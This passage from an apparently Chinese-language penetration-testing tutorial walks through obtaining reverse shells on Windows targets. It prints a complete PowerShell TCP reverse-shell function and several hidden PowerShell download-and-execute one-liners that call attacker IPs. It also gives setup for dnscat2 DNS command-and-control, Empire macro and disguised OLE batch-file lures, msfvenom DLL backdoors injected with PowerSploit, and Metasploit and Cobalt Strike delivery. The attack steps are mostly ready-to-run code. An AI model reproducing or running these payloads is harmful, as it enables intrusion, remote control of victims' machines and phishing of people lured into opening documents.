powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/lltest_tcp.ps1');Invoke-lltestTcp

lltest_tcp.ps1 如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Invoke-lltestTcp
{
$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}

4) dnscat2 反弹DNS shell

dnscat2(https://github.com/iagox86/dnscat2 )是一个DNS隧道，旨在通过DNS协议创建加密的命令和控制（C＆C）通道。dnscat2分为两部分：客户端和服务器。dnscat2客户端采用C语言编写，服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)

利用dnscat2 和 dnscat2-powershell实现反弹DNS shell:

攻击者(Ubuntu 14.04 LTS 192.168.159.129)开启监听：

1
2
3
ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.159.129" --no-cache -e open
-e open 不使用加密连接，默认使用加密
ruby dnscat2.rb —help 查看帮助

目标机执行：

1
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.159.129

成功反弹shell后，攻击者：

1
2
3
session -i 1 #进入到session 1
shell #执行之后会新生成一个session 需要通过session -i 2 切换
session -i 2

5) Empire 结合office反弹shell

Empire(https://github.com/EmpireProject/Empire ) 基于powershell的后渗透攻击框架，可利用office 宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell

利用office 宏反弹shell

攻击者(192.168.159.134)开启监听:

1
2
3
4
5
uselistener http
execute
back
usestager windows/macro http #生成payload
execute

生成/tmp/macro 攻击代码后，新建一个word 创建宏

点击“文件”-“宏”-“创建”，删除自带的脚本，复制进去/tmp/macro文件内容，并保存为“Word 97-2003文档(.doc)”或者“启用宏的Word 文档(.docm)”文件，当诱导目标打开，执行宏后，即可成功反弹shell：
说明:需要开启宏或者用户手动启用宏。开启宏设置：“文件”-“选项”-“信任中心”,选择“启用所有宏”

利用office OLE对象插入bat文件反弹shell

攻击者(192.168.159.134)开启监听 并生成bat文件payload：

1
2
3
listeners
usestager windows/launcher_bat http
execute

在word中“插入”-“对象”-“由文件创建” 处，插入launcher.bat文件，可更改文件名称和图标，进行伪装，当诱导目标点击launcher_lltest.xls文件，执行后，即可成功反弹shell：

6) PowerSploit DLL注入反弹shell

PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode（注入shellcode到执行进程）等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入，反弹shell

1）msfvenom生成dll后门

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll

说明：目标机64位 用x64 ； 32位的话用windows/meterpreter/reverse_tcp

2）metasploit 设置payload 开启监听

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.159.134
set LPORT 6667
exploit

3）powershell 下载PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后门
首先上传dll文件到目标机。然后Get-Process 选定一个进程，最后注入到该进程

目标机执行:

1
2
3
Get-Process #选择要注入的进程
IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll

7) metasploit反弹shell

利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell

攻击者(192.168.159.134)：

1
2
3
4
5
6
use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.159.134
set LPORT 6666
exploit

目标机执行：

1
2
powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy();
$f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring('http://192.168.159.134:8080/4iNSwaMtwWjm');

8) Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块，可通过bitsadmin、powershell、python、regsvr32等进行反弹shell，类似metasploit的web_delivery模块
说明：安装Cobalt strike时推荐 java version “1.8.0_121”

1)运行服务端

1
./teamserver 192.168.159.134 lltest #lltest为连接密码

2)运行客户端：

1
./cobaltstrike #用户名随便输入 密码lltest

3)开启监听:
首先要创建一个Listener, 点击 Cobalt Strike->Listeners ，然后点击Add便可创建Listeners

点击Cobalt Strike->Listeners
payload可选择windows/beacon_http/reverse_http
说明：其中windows/beacon 是Cobalt Strike自带的模块，包括dns,http,https,smb四种方式的监听器，windows/foreign 为外部监听器，即msf或者Armitage的监听器。

4)生成powershell payload:
点击Attack -> Web Drive-by -> Scripted Web Delivery
Type选择 powershell

5)目标机执行powershell payload:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.159.134:83/a'))"

6)成功反弹shell后，右键interact 进入shell

参考
https://decoder.cloud/2017/01/26/dirty-tricks-with-powershell/
https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/
https://enigma0x3.net/2016/03/15/phishing-with-empire/
http://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows/
https://evi1cg.me/archives/Nishang_shells.html
https://evi1cg.me/archives/Cobalt_strike.html